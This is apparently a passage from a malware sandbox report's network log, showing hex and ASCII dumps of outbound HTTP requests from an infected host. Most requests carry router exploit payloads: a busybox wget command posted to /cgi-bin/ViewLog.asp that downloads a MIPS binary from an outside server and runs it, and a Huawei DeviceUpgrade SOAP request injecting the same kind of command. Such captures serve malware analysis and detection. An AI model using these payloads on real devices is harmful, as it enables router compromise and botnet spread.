                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.834229946 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                86192.168.2.1536436111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:12.552434921 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 31 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:10Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                87192.168.2.153590831.136.158.1498080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:13.706199884 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:14.300615072 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:15.484616041 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:17.980542898 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:22.844454050 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:32.316221952 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:52.539710045 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.450618029 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                88192.168.2.154744862.202.154.2558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:13.895921946 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                89192.168.2.153455862.29.67.1888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:14.113138914 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                90192.168.2.154124262.150.112.1298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:14.167278051 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:14.444648981 CET367INHTTP/1.1 403 Forbidden
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 106
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                91192.168.2.155738894.120.44.2158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:14.747395039 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                92192.168.2.154039095.86.82.228080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:14.769051075 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                93192.168.2.154670095.209.159.1388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:14.789640903 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                94192.168.2.1533652156.241.95.12937215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.182250023 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                95192.168.2.154131095.210.96.628080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.268858910 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                96192.168.2.155799031.136.84.728080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.268929958 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:21.308454037 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:27.452266932 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:39.484036922 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:04.827270985 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:53.977915049 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
